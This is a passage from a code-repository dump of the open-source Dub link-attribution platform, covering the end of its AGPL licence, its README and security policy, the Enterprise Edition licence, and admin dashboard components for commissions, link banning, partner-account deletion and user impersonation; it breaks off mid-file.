Such new versions\nwill be similar in spirit to the present version, but may differ in detail to\naddress new problems or concerns.\n\nEach version is given a distinguishing version number. If the\nProgram specifies that a certain numbered version of the GNU Affero General\nPublic License \"or any later version\" applies to it, you have the\noption of following the terms and conditions either of that numbered\nversion or of any later version published by the Free Software\nFoundation. If the Program does not specify a version number of the\nGNU Affero General Public License, you may choose any version ever published\nby the Free Software Foundation.\n\nIf the Program specifies that a proxy can decide which future\nversions of the GNU Affero General Public License can be used, that proxy's\npublic statement of acceptance of a version permanently authorizes you\nto choose that version for the Program.\n\nLater license versions may give you additional or different\npermissions. However, no additional obligations are imposed on any\nauthor or copyright holder as a result of your choosing to follow a\nlater version.\n\n15. Disclaimer of Warranty.\n\nTHERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY\nAPPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT\nHOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM \"AS IS\" WITHOUT WARRANTY\nOF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,\nTHE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR\nPURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM\nIS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF\nALL NECESSARY SERVICING, REPAIR OR CORRECTION.\n\n16. Limitation of Liability.\n\nIN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING\nWILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS\nTHE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY\nGENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE\nUSE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF\nDATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD\nPARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),\nEVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF\nSUCH DAMAGES.\n\n17. Interpretation of Sections 15 and 16.\n\nIf the disclaimer of warranty and limitation of liability provided\nabove cannot be given local legal effect according to their terms,\nreviewing courts shall apply local law that most closely approximates\nan absolute waiver of all civil liability in connection with the\nProgram, unless a warranty or assumption of liability accompanies a\ncopy of the Program in return for a fee.\n\n                     END OF TERMS AND CONDITIONS\n\n            How to Apply These Terms to Your New Programs\n\nIf you develop a new program, and you want it to be of the greatest\npossible use to the public, the best way to achieve this is to make it\nfree software which everyone can redistribute and change under these terms.\n\nTo do so, attach the following notices to the program. It is safest\nto attach them to the start of each source file to most effectively\nstate the exclusion of warranty; and each file should have at least\nthe \"copyright\" line and a pointer to where the full notice is found.\n\n    <one line to give the program's name and a brief idea of what it does.>\n    Copyright (C) <year>  <name of author>\n\n    This program is free software: you can redistribute it and/or modify\n    it under the terms of the GNU Affero General Public License as published\n    by the Free Software Foundation, either version 3 of the License, or\n    (at your option) any later version.\n\n    This program is distributed in the hope that it will be useful,\n    but WITHOUT ANY WARRANTY; without even the implied warranty of\n    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n    GNU Affero General Public License for more details.\n\n    You should have received a copy of the GNU Affero General Public License\n    along with this program.  If not, see <https://www.gnu.org/licenses/>.\n\nAlso add information on how to contact you by electronic and paper mail.\n\nIf your software can interact with users remotely through a computer\nnetwork, you should also make sure that it provides a way for users to\nget its source. For example, if your program is a web application, its\ninterface could display a \"Source\" link that leads users to an archive\nof the code. There are many ways you could offer source, and different\nsolutions will be better for different programs; see section 13 for the\nspecific requirements.\n\nYou should also get your employer (if you work as a programmer) or school,\nif any, to sign a \"copyright disclaimer\" for the program, if necessary.\nFor more information on this, and how to apply and follow the GNU AGPL, see\n<https://www.gnu.org/licenses/>.\n"
  },
  {
    "path": "README.md",
    "content": "<a href=\"https://dub.co\">\n  <img alt=\"Dub is the modern, open-source link attribution platform for short links, conversion tracking, and affiliate programs.\" src=\"https://github.com/user-attachments/assets/42cf0705-f5a2-4200-bc4a-c5acf0ba9e15\">\n</a>\n\n<h3 align=\"center\">Dub</h3>\n\n<p align=\"center\">\n    The open-source link attribution platform.\n    <br />\n    <a href=\"https://dub.co\"><strong>Learn more »</strong></a>\n    <br />\n    <br />\n    <a href=\"#introduction\"><strong>Introduction</strong></a> ·\n    <a href=\"#tech-stack\"><strong>Tech Stack</strong></a> ·\n    <a href=\"#self-hosting\"><strong>Self-hosting</strong></a> ·\n    <a href=\"#contributing\"><strong>Contributing</strong></a>\n</p>\n\n<p align=\"center\">\n  <a href=\"https://twitter.com/dubdotco\">\n    <img src=\"https://img.shields.io/twitter/follow/dubdotco?style=flat&label=%40dubdotco&logo=twitter&color=0bf&logoColor=fff\" alt=\"Twitter\" />\n  </a>\n  <a href=\"https://news.ycombinator.com/item?id=32939407\"><img src=\"https://img.shields.io/badge/Hacker%20News-255-%23FF6600\" alt=\"Hacker News\"></a>\n  <a href=\"https://github.com/dubinc/dub/blob/main/LICENSE.md\">\n    <img src=\"https://img.shields.io/github/license/dubinc/dub?label=license&logo=github&color=f80&logoColor=fff\" alt=\"License\" />\n  </a>\n</p>\n\n<br/>\n\n## Introduction\n\nDub is the modern, open-source link attribution platform for [short links](https://dub.co/home), [conversion tracking](https://dub.co/analytics), and [affiliate programs](https://dub.co/partners).\n\nOur platform powers 100M+ clicks and 2M+ links monthly, and is used by world-class marketing teams from companies like Twilio, Buffer, Framer, Perplexity, Vercel, Laravel, and [more](https://dub.co/customers).\n\n## Tech Stack\n\n- [Next.js](https://nextjs.org/) – framework\n- [TypeScript](https://www.typescriptlang.org/) – language\n- [Tailwind](https://tailwindcss.com/) – CSS\n- [Prisma](https://www.prisma.io/) – ORM\n- [Upstash](https://upstash.com/) – redis\n- [Tinybird](https://tinybird.com/) – analytics\n- [PlanetScale](https://planetscale.com/) – database\n- [NextAuth.js](https://next-auth.js.org/) – auth\n- [BoxyHQ](https://boxyhq.com/enterprise-sso) – SSO/SAML\n- [Turborepo](https://turbo.build/repo) – monorepo\n- [Stripe](https://stripe.com/) – payments\n- [Resend](https://resend.com/) – emails\n- [Vercel](https://vercel.com/) – deployments\n\n## Self-Hosting\n\nYou can self-host Dub for greater control over your data and design. [Read this guide](https://dub.co/docs/self-hosting/guide) to learn more.\n\n## Contributing\n\nWe love our contributors! Here's how you can contribute:\n\n- [Open an issue](https://github.com/dubinc/dub/issues) if you believe you've encountered a bug.\n- Follow the [local development guide](https://dub.co/docs/local-development) to get your local dev environment set up.\n- Make a [pull request](https://github.com/dubinc/dub/pull) to add new features/make quality-of-life improvements/fix bugs.\n\n### Recommended Versions\n\n| Package | Version  |\n| ------- | -------- |\n| node    | v23.11.0 |\n| pnpm    | 9.15.9   |\n\n### Common Local Development Issues\n\n- `The table <table-name> does not exist in the current database.` - Run `pnpm prisma:push` push the state of the Prisma schema file to the database without using migrations files.\n- The project is not building correctly locally - verify your versions of `node` and `pnpm` match the recommended versions above. Delete all `node_modules`, `.next`, and `.turbo` directories in the `apps` and `packages` directory. You may now reinstall `node_modules` by running `pnpm install` and attempt to rebuild the project with `pnpm build`.\n\n### Dev Seed Script\n\nThis script seeds the database with development data for testing and development purposes.\n\n**Basic seeding (adds data without deleting existing data):**\n\n```bash\ncd apps/web\npnpm run script dev/seed\n```\n\n**Truncate database before seeding (deletes all existing data first):**\n\n```bash\ncd apps/web\npnpm run script dev/seed --truncate\n```\n\nWhen using `--truncate`, the script will ask for confirmation before deleting any data.\n\n## Repo Activity\n\n![Dub repo activity – generated by Axiom](https://repobeats.axiom.co/api/embed/6ac4c94a89ea20e2e10032b932a128b6d8442e66.svg \"Repobeats analytics image\")\n\n## License\n\nDub Technologies, Inc. is a commercial open-source company, which means some parts of this open-source repository require a commercial license. The concept is called \"Open Core\" where the core technology (99%) is fully open source, licensed under [AGPLv3](https://opensource.org/license/agpl-v3) and the last 1% is covered under a commercial license ([\"/ee\" Enterprise Edition](<https://github.com/dubinc/dub/tree/ee/apps/web/app/(ee)>)) which we believe is entirely relevant for larger organisations that require enterprise features. Enterprise features are built by the core engineering team of Dub Technologies, Inc., which is hired full-time.\n"
  },
  {
    "path": "SECURITY.md",
    "content": "# Security Policy\n\n## Supported Versions\n\nAll versions of Dub are currently being supported with security updates.\n\n## Reporting a Vulnerability\n\nTo report a vulnerability, send an email to security@dub.co.\n\nWe will respond within 48 hours acknowledging your report with details about next steps and potential rewards/compensation for responsible disclosure.\n"
  },
  {
    "path": "apps/web/app/(ee)/LICENSE.md",
    "content": "The Dub.co Commercial License (the “Commercial License”)\nCopyright (c) 2024-present Dub Technologies, Inc\n\nWith regard to the Dub.co Software:\n\nThis software and associated documentation files (the \"Software\") may only be\nused in production, if you (and any entity that you represent) have agreed to,\nand are in compliance with, the Dub.co Subscription Terms available\nat https://dub.co/legal/terms, or other agreements governing\nthe use of the Software, as mutually agreed by you and Dub.co, Inc (\"Dub.co\"),\nand otherwise have a valid Dub.co Enterprise Edition subscription (\"Commercial Subscription\")\nfor the correct number of hosts as defined in the \"Commercial Terms (\"Hosts\"). Subject to the foregoing sentence,\nyou are free to modify this Software and publish patches to the Software. You agree\nthat Dub.co and/or its licensors (as applicable) retain all right, title and interest in\nand to all such modifications and/or patches, and all such modifications and/or\npatches may only be used, copied, modified, displayed, distributed, or otherwise\nexploited with a valid Commercial Subscription for the correct number of hosts.\nNotwithstanding the foregoing, you may copy and modify the Software for development\nand testing purposes, without requiring a subscription. You agree that Dub.co and/or\nits licensors (as applicable) retain all right, title and interest in and to all such\nmodifications. You are not granted any other rights beyond what is expressly stated herein.\nSubject to the foregoing, it is forbidden to copy, merge, publish, distribute, sublicense,\nand/or sell the Software.\n\nThis Commercial License applies only to the part of this Software that is not distributed under\nthe AGPLv3 license. Any part of this Software distributed under the MIT license or which\nis served client-side as an image, font, cascading stylesheet (CSS), file which produces\nor is compiled, arranged, augmented, or combined into client-side JavaScript, in whole or\nin part, is copyrighted under the AGPLv3 license. The full text of this Commercial License shall\nbe included in all copies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\nSOFTWARE.\n\nFor all third party components incorporated into the Dub.co Software, those\ncomponents are licensed under the original license provided by the owner of the\napplicable component.\n"
  },
  {
    "path": "apps/web/app/(ee)/README.md",
    "content": "<!-- PROJECT LOGO -->\n<div align=\"center\">\n  <a href=\"https://dub.co/enterprise\">\n    <img src=\"https://github.com/user-attachments/assets/42cf0705-f5a2-4200-bc4a-c5acf0ba9e15\" alt=\"Logo\">\n  </a>\n  \n  <a href=\"https://dub.co/enterprise\">Get an Enterprise License</a>\n</div>\n\n# Enterprise Edition\n\nWelcome to the Enterprise Edition of Dub.co.\n\nThe [/(ee)](<https://github.com/dubinc/dub/tree/main/apps/web/app/(ee)>) subfolder is the place for all the **Enterprise Edition** features from our [hosted](https://dub.co/pricing) plan and enterprise-grade features for [Enterprise](https://dub.co/enterprise), included but not limited to the following:\n\n- [Dub Conversions](https://dub.co/help/article/dub-conversions)\n- [Dub Partners](https://dub.co/help/article/dub-partners)\n- [SAML/SSO + SCIM Directory sync ](https://dub.co/help/category/saml-sso)\n\n> _❗ WARNING: This repository is copyrighted (unlike our [main repo](https://github.com/dubinc/dub)). You are not allowed to use this code to host your own version of app.dub.co without obtaining a proper [license](https://dub.co/enterprise) first❗_\n"
  },
  {
    "path": "apps/web/app/(ee)/admin.dub.co/(auth)/layout.tsx",
    "content": "import { Background } from \"@dub/ui\";\n\nexport default function AdminAuthLayout({\n  children,\n}: {\n  children: React.ReactNode;\n}) {\n  return (\n    <>\n      <Background />\n      <div className=\"relative z-10 flex flex-col items-center justify-center\">\n        {children}\n      </div>\n    </>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/admin.dub.co/(auth)/login/page.tsx",
    "content": "export { default } from \"../../../../app.dub.co/(auth)/login/page\";\n"
  },
  {
    "path": "apps/web/app/(ee)/admin.dub.co/(dashboard)/analytics/page.tsx",
    "content": "import Analytics from \"@/ui/analytics\";\nimport LayoutLoader from \"@/ui/layout/layout-loader\";\nimport { Suspense } from \"react\";\n\nexport default function AdminAnalytics() {\n  return (\n    <Suspense fallback={<LayoutLoader />}>\n      <div className=\"w-full\">\n        <Analytics adminPage />\n      </div>\n    </Suspense>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/admin.dub.co/(dashboard)/commissions/client.tsx",
    "content": "\"use client\";\n\nimport { formatDateTooltip } from \"@/lib/analytics/format-date-tooltip\";\nimport { AnalyticsLoadingSpinner } from \"@/ui/analytics/analytics-loading-spinner\";\nimport { FilterButtonTableRow } from \"@/ui/shared/filter-button-table-row\";\nimport SimpleDateRangePicker from \"@/ui/shared/simple-date-range-picker\";\nimport {\n  CrownSmall,\n  Filter,\n  Table,\n  usePagination,\n  useRouterStuff,\n  useTable,\n} from \"@dub/ui\";\nimport { Areas, TimeSeriesChart, XAxis, YAxis } from \"@dub/ui/charts\";\nimport { GridIcon } from \"@dub/ui/icons\";\nimport {\n  cn,\n  currencyFormatter,\n  DUB_FOUNDING_DATE,\n  fetcher,\n  OG_AVATAR_URL,\n} from \"@dub/utils\";\nimport NumberFlow from \"@number-flow/react\";\nimport { Fragment, useCallback, useMemo, useState } from \"react\";\nimport useSWR from \"swr\";\n\nexport default function CommissionsPageClient() {\n  const { queryParams, getQueryString, searchParamsObj } = useRouterStuff();\n  const { interval, start, end, programId } = searchParamsObj;\n\n  const { data: { programs, timeseries } = {}, isLoading } = useSWR<{\n    programs: {\n      id: string;\n      name: string;\n      logo: string;\n      commissions: number;\n      fees: number;\n    }[];\n    timeseries: {\n      start: Date;\n      commissions: number;\n    }[];\n  }>(\n    `/api/admin/commissions${getQueryString({\n      timezone: Intl.DateTimeFormat().resolvedOptions().timeZone,\n    })}`,\n    fetcher,\n    {\n      keepPreviousData: true,\n    },\n  );\n\n  // Filter configuration\n  const filters = useMemo(\n    () => [\n      {\n        key: \"programId\",\n        icon: GridIcon,\n        label: \"Program\",\n        options:\n          programs?.map((program) => ({\n            value: program.id,\n            label: program.name,\n            icon: (\n              <img\n                src={program.logo || `${OG_AVATAR_URL}${program.name}`}\n                alt={`${program.name} image`}\n                className=\"size-4 rounded-full\"\n              />\n            ),\n          })) ?? null,\n      },\n    ],\n    [programs],\n  );\n\n  const activeFilters = useMemo(() => {\n    return [...(programId ? [{ key: \"programId\", value: programId }] : [])];\n  }, [programId]);\n\n  const onSelect = useCallback(\n    (key: string, value: any) =>\n      queryParams({\n        set: {\n          [key]: value,\n        },\n        del: \"page\",\n      }),\n    [queryParams],\n  );\n\n  const onRemove = useCallback(\n    (key: string) =>\n      queryParams({\n        del: [key, \"page\"],\n      }),\n    [queryParams],\n  );\n\n  const onRemoveAll = useCallback(\n    () =>\n      queryParams({\n        del: [\"programId\"],\n      }),\n    [queryParams],\n  );\n\n  const [selectedFilter, setSelectedFilter] = useState<string | null>(null);\n  const [search, setSearch] = useState(\"\");\n\n  const tabs: {\n    id: string;\n    label: string;\n    colorClassName: string;\n    disabled?: boolean;\n  }[] = [\n    {\n      id: \"commissions\",\n      label: \"Commissions\",\n      colorClassName: \"text-teal-500 bg-teal-500/50 border-teal-500\",\n    },\n    {\n      id: \"fees\",\n      label: \"Fees\",\n      colorClassName: \"text-red-500 bg-red-500/50 border-red-500\",\n      disabled: true,\n    },\n  ];\n\n  const tab = tabs[0];\n  const selectedTab = tab.id;\n\n  const chartData =\n    timeseries?.map(({ start, commissions }) => ({\n      date: start ? new Date(start) : new Date(),\n      values: {\n        commissions: commissions || 0,\n      },\n    })) ?? null;\n\n  const totals = useMemo(() => {\n    return {\n      commissions:\n        timeseries?.reduce(\n          (acc, { commissions }) => acc + (commissions || 0),\n          0,\n        ) ?? 0,\n      fees: programs?.reduce((acc, { fees }) => acc + (fees || 0), 0) ?? 0,\n    };\n  }, [timeseries, programs]);\n\n  const { pagination, setPagination } = usePagination();\n\n  const { table, ...tableProps } = useTable({\n    data: programs ?? [],\n    columns: [\n      {\n        id: \"position\",\n        header: \"Position\",\n        size: 12,\n        minSize: 12,\n        maxSize: 12,\n        cell: ({ row }) => {\n          return (\n            <div className=\"flex w-28 items-center justify-start gap-2 tabular-nums\">\n              {row.index + 1}\n              {row.index <= 2 && (\n                <CrownSmall\n                  className={cn(\"size-4\", {\n                    \"text-amber-400\": row.index === 0,\n                    \"text-neutral-400\": row.index === 1,\n                    \"text-yellow-900\": row.index === 2,\n                  })}\n                />\n              )}\n            </div>\n          );\n        },\n      },\n      {\n        id: \"program\",\n        header: \"Program\",\n        cell: ({ row }) => (\n          <div className=\"flex items-center gap-1.5\">\n            <img\n              src={row.original.logo}\n              alt={row.original.name}\n              width={20}\n              height={20}\n              className=\"size-4 rounded-full\"\n            />\n            <span className=\"text-sm font-medium\">{row.original.name}</span>\n          </div>\n        ),\n        meta: {\n          filterParams: ({ row }) => ({\n            programId: row.original.id,\n          }),\n        },\n      },\n      {\n        id: \"commissions\",\n        header: \"Commissions\",\n        accessorKey: \"commissions\",\n        cell: ({ row }) => currencyFormatter(row.original.commissions),\n      },\n      {\n        id: \"fees\",\n        header: \"Fees\",\n        accessorKey: \"fees\",\n        cell: ({ row }) => currencyFormatter(row.original.fees),\n      },\n    ],\n    pagination,\n    onPaginationChange: setPagination,\n    resourceName: (plural) => `program${plural ? \"s\" : \"\"}`,\n    rowCount: programs?.length ?? 0,\n    loading: isLoading,\n    cellRight: (cell) => {\n      const meta = cell.column.columnDef.meta as\n        | {\n            filterParams?: any;\n          }\n        | undefined;\n\n      return (\n        meta?.filterParams && (\n          <FilterButtonTableRow set={meta.filterParams(cell)} />\n        )\n      );\n    },\n  });\n\n  return (\n    <div className=\"mx-auto flex w-full max-w-screen-xl flex-col gap-3 p-6\">\n      <div className=\"flex flex-col gap-3 md:flex-row md:items-center\">\n        <Filter.Select\n          className=\"w-full md:w-fit\"\n          filters={filters}\n          activeFilters={activeFilters}\n          onSelect={onSelect}\n          onRemove={onRemove}\n          onSearchChange={setSearch}\n          onSelectedFilterChange={setSelectedFilter}\n        />\n        <SimpleDateRangePicker\n          defaultInterval=\"mtd\"\n          className=\"w-full sm:min-w-[200px] md:w-fit\"\n        />\n      </div>\n      {activeFilters.length > 0 && (\n        <div>\n          <Filter.List\n            filters={filters}\n            activeFilters={activeFilters}\n            onSelect={onSelect}\n            onRemove={onRemove}\n            onRemoveAll={onRemoveAll}\n          />\n        </div>\n      )}\n      <div className=\"flex flex-col divide-y divide-neutral-200 rounded-lg border border-neutral-200 bg-white\">\n        <div className=\"scrollbar-hide grid w-full grid-cols-2 divide-x overflow-y-hidden sm:grid-cols-3\">\n          {tabs.map(({ id, label, colorClassName, disabled }) => {\n            return (\n              <button\n                key={id}\n                disabled={disabled}\n                onClick={() => {\n                  queryParams({\n                    set: { tab: id },\n                  });\n                }}\n                className={cn(\n                  \"border-box relative block h-full w-full flex-none px-4 py-3 sm:px-8 sm:py-6\",\n                  \"ring-inset ring-neutral-500 focus-visible:ring-1 sm:first:rounded-tl-xl\",\n                  disabled\n                    ? \"cursor-not-allowed\"\n                    : \"transition-colors hover:bg-neutral-50 focus:outline-none active:bg-neutral-100\",\n                )}\n              >\n                {/* Active tab indicator */}\n                <div\n                  className={cn(\n                    \"absolute bottom-0 left-0 h-0.5 w-full bg-black transition-transform duration-100\",\n                    selectedTab !== id && \"translate-y-[3px]\",\n                  )}\n                />\n                <div className=\"flex items-center gap-2.5 text-sm text-neutral-600\">\n                  <div\n                    className={cn(\n                      \"h-2 w-2 rounded-sm bg-current shadow-[inset_0_0_0_1px_#00000019]\",\n                      colorClassName,\n                    )}\n                  />\n                  <span>{label}</span>\n                </div>\n                <div className=\"mt-1 flex h-12 items-center\">\n                  {(totals[id] || totals[id] === 0) && !isLoading ? (\n                    <NumberFlow\n                      value={(totals[id] ?? 0) / 100}\n                      className=\"text-xl font-medium sm:text-3xl\"\n                      format={{\n                        style: \"currency\",\n                        currency: \"USD\",\n                        // @ts-ignore – trailingZeroDisplay is a valid option but TS is outdated\n                        trailingZeroDisplay: \"stripIfInteger\",\n                      }}\n                    />\n                  ) : (\n                    <div className=\"h-10 w-24 animate-pulse rounded-md bg-neutral-200\" />\n                  )}\n                </div>\n              </button>\n            );\n          })}\n        </div>\n        <div className=\"p-5 sm:p-10\">\n          <div className=\"flex h-96 w-full items-center justify-center\">\n            {chartData ? (\n              chartData.length > 0 ? (\n                <TimeSeriesChart\n                  data={chartData}\n                  series={[\n                    {\n                      id: \"commissions\",\n                      valueAccessor: (d) => d.values.commissions,\n                      isActive: selectedTab === \"commissions\",\n                      colorClassName: tab.colorClassName,\n                    },\n                  ]}\n                  tooltipClassName=\"p-0\"\n                  tooltipContent={(d) => (\n                    <>\n                      <p className=\"border-b border-neutral-200 px-4 py-3 text-sm text-neutral-900\">\n                        {formatDateTooltip(d.date, {\n                          interval,\n                          start,\n                          end,\n                        })}\n                      </p>\n                      <div className=\"grid grid-cols-2 gap-x-6 gap-y-2 px-4 py-3 text-sm\">\n                        <Fragment>\n                          <div className=\"flex items-center gap-2\">\n                            <div\n                              className={cn(\n                                \"h-2 w-2 rounded-sm shadow-[inset_0_0_0_1px_#0003]\",\n                                tab.colorClassName,\n                              )}\n                            />\n                            <p className=\"capitalize text-neutral-600\">\n                              {tab.label}\n                            </p>\n                          </div>\n                          <p className=\"text-right font-medium text-neutral-900\">\n                            {currencyFormatter(d.values[tab.id])}\n                          </p>\n                        </Fragment>\n                      </div>\n                    </>\n                  )}\n                >\n                  <Areas />\n                  <XAxis\n                    maxTicks={5}\n                    tickFormat={(d) =>\n                      formatDateTooltip(d, {\n                        interval,\n                        start,\n                        end,\n                        dataAvailableFrom: DUB_FOUNDING_DATE,\n                      })\n                    }\n                  />\n                  <YAxis\n                    showGridLines\n                    tickFormat={(value) => currencyFormatter(value)}\n                  />\n                </TimeSeriesChart>\n              ) : (\n                <div className=\"text-center text-sm text-neutral-600\">\n                  No data available.\n                </div>\n              )\n            ) : (\n              <AnalyticsLoadingSpinner />\n            )}\n          </div>\n        </div>\n      </div>\n      <div className=\"w-full\">\n        <Table {...tableProps} table={table} />\n      </div>\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/admin.dub.co/(dashboard)/commissions/page.tsx",
    "content": "import { Suspense } from \"react\";\nimport CommissionsPageClient from \"./client\";\n\nexport default async function CommissionsPage() {\n  return (\n    <Suspense>\n      <CommissionsPageClient />\n    </Suspense>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/admin.dub.co/(dashboard)/components/ban-link.tsx",
    "content": "\"use client\";\n\nimport { LoadingSpinner } from \"@dub/ui\";\nimport { cn } from \"@dub/utils\";\nimport { useState } from \"react\";\nimport { toast } from \"sonner\";\n\nexport function BanLink() {\n  const [pending, setPending] = useState(false);\n\n  const handleSubmit = async (e: React.FormEvent<HTMLFormElement>) => {\n    e.preventDefault();\n    const form = e.currentTarget;\n    const key = new FormData(form).get(\"key\");\n    if (!key || typeof key !== \"string\") return;\n\n    if (!window.confirm(\"Are you sure you want to ban this link?\")) return;\n\n    setPending(true);\n    try {\n      const res = await fetch(\n        `/api/admin/links/ban?domain=dub.sh&key=${encodeURIComponent(key)}`,\n        { method: \"DELETE\" },\n      ).then((r) => r.json());\n      if (res.error) {\n        toast.error(res.error);\n      } else {\n        toast.success(\"Link has been banned\");\n      }\n    } finally {\n      setPending(false);\n    }\n  };\n\n  return (\n    <div className=\"flex flex-col space-y-5\">\n      <form onSubmit={handleSubmit}>\n        <Form pending={pending} />\n      </form>\n    </div>\n  );\n}\n\nconst Form = ({ pending }: { pending: boolean }) => {\n  return (\n    <div className=\"relative flex w-full rounded-md shadow-sm\">\n      <span className=\"inline-flex items-center rounded-l-md border border-r-0 border-neutral-300 bg-neutral-50 px-5 text-neutral-500 sm:text-sm\">\n        dub.sh\n      </span>\n      <input\n        name=\"key\"\n        id=\"key\"\n        type=\"text\"\n        required\n        disabled={pending}\n        autoComplete=\"off\"\n        className={cn(\n          \"block w-full rounded-r-md border-neutral-300 text-neutral-900 placeholder-neutral-400 focus:border-neutral-500 focus:outline-none focus:ring-neutral-500 sm:text-sm\",\n          pending && \"bg-neutral-100\",\n        )}\n        placeholder=\"IG47WZs\"\n        aria-invalid=\"true\"\n        onPaste={(e: React.ClipboardEvent<HTMLInputElement>) => {\n          e.preventDefault();\n          // if pasting in https://dub.sh/xxx or dub.sh/xxx, extract xxx\n          const text = e.clipboardData.getData(\"text/plain\");\n          if (\n            text.startsWith(\"https://dub.sh/\") ||\n            text.startsWith(\"dub.sh/\")\n          ) {\n            e.currentTarget.value = text\n              .replace(\"https://dub.sh/\", \"\")\n              .replace(\"dub.sh/\", \"\");\n          } else {\n            e.currentTarget.value = text;\n          }\n        }}\n      />\n      {pending && (\n        <LoadingSpinner className=\"absolute inset-y-0 right-2 my-auto h-full w-5 text-neutral-400\" />\n      )}\n    </div>\n  );\n};\n"
  },
  {
    "path": "apps/web/app/(ee)/admin.dub.co/(dashboard)/components/delete-partner-account.tsx",
    "content": "\"use client\";\n\nimport { LoadingSpinner } from \"@dub/ui\";\nimport { cn } from \"@dub/utils\";\nimport { useFormStatus } from \"react-dom\";\nimport { toast } from \"sonner\";\n\nexport function DeletePartnerAccount() {\n  return (\n    <div className=\"flex flex-col space-y-5\">\n      <form\n        action={async (formData) => {\n          const deletePartnerAccount =\n            formData.get(\"deletePartnerAccount\") === \"on\";\n          const message = deletePartnerAccount\n            ? \"Are you sure you want to delete this partner account completely? This will also delete the partner account along with their Stripe express account. This action cannot be undone.\"\n            : \"Are you sure you want to delete this partner's Stripe express account? This action cannot be undone.\";\n          const confirmed = window.confirm(message);\n          if (!confirmed) {\n            return;\n          }\n\n          await fetch(\"/api/admin/delete-partner-account\", {\n            method: \"POST\",\n            body: JSON.stringify({\n              email: formData.get(\"email\"),\n              deletePartnerAccount:\n                formData.get(\"deletePartnerAccount\") === \"on\",\n            }),\n          }).then(async (res) => {\n            if (res.ok) {\n              toast.success(\n                deletePartnerAccount\n                  ? \"Partner account deleted!\"\n                  : \"Stripe express account deleted!\",\n              );\n            } else {\n              const error = await res.text();\n              toast.error(error);\n            }\n          });\n        }}\n      >\n        <Form />\n      </form>\n    </div>\n  );\n}\n\nconst Form = () => {\n  const { pending } = useFormStatus();\n\n  return (\n    <div className=\"flex flex-col space-y-4\">\n      <div className=\"relative flex w-full rounded-md shadow-sm\">\n        <input\n          name=\"email\"\n          id=\"email\"\n          type=\"email\"\n          required\n          disabled={pending}\n          autoComplete=\"off\"\n          className={cn(\n            \"block w-full rounded-md border-neutral-300 text-neutral-900 placeholder-neutral-400 focus:border-neutral-500 focus:outline-none focus:ring-neutral-500 sm:text-sm\",\n            pending && \"bg-neutral-100\",\n          )}\n          onPaste={(e: React.ClipboardEvent<HTMLInputElement>) => {\n            // remove mailto: on paste\n            e.preventDefault();\n            const text = e.clipboardData.getData(\"text/plain\");\n            if (text.startsWith(\"mailto:\")) {\n              e.currentTarget.value = text.replace(\"mailto:\", \"\");\n            } else {\n              e.currentTarget.value = text;\n            }\n          }}\n          placeholder=\"panic@thedis.co\"\n          aria-invalid=\"true\"\n        />\n        {pending && (\n          <LoadingSpinner className=\"absolute inset-y-0 right-2 my-auto h-full w-5 text-neutral-400\" />\n        )}\n      </div>\n      <div className=\"flex items-center space-x-2\">\n        <input\n          name=\"deletePartnerAccount\"\n          id=\"deletePartnerAccount\"\n          type=\"checkbox\"\n          disabled={pending}\n          className=\"h-4 w-4 rounded border-neutral-300 text-neutral-600 focus:ring-neutral-500\"\n        />\n        <label\n          htmlFor=\"deletePartnerAccount\"\n          className=\"text-sm text-neutral-700\"\n        >\n          Delete partner account as well\n        </label>\n      </div>\n    </div>\n  );\n};\n"
  },
  {
    "path": "apps/web/app/(ee)/admin.dub.co/(dashboard)/components/impersonate-user.tsx",
    "content": "\"use client\";\n\nimport { Button, LoadingSpinner } from \"@dub/ui\";\nimport { cn } from \"@dub/utils\";\nimport { useState } from \"react\";\nimport { useFormStatus } from \"react-dom\";\nimport { toast } from \"sonner\";\nimport UserInfo, { UserInfoProps } from \"./user-info\";\n\nexport function ImpersonateUser() {\n  const [data, setData] = useState<UserInfoProps | null>(null);\n\n  return (\n    <div className=\"flex flex-col space-y-5\">\n      <form\n        action={async (formData) => {\n          await fetch(\"/api/admin/impersonate\", {\n            method: \"POST\",\n            body: JSON.stringify({\n              email: formData.get(\"email\"),\n            }),\n          }).then(async (res) => {\n            if (res.ok) {\n              setData(await res.json());\n            } else {\n              const error = await res.text();\n              toast.error(error);\n            }\n          });\n        }}\n      >\n        <Form />\n      </form>\n      {data && (\n        <form\n          action={async () => {\n            if (\n              !confirm(\n                `This will ban the user ${data.email} and delete all their workspaces and links. Are you sure?`,\n              )\n            ) {\n              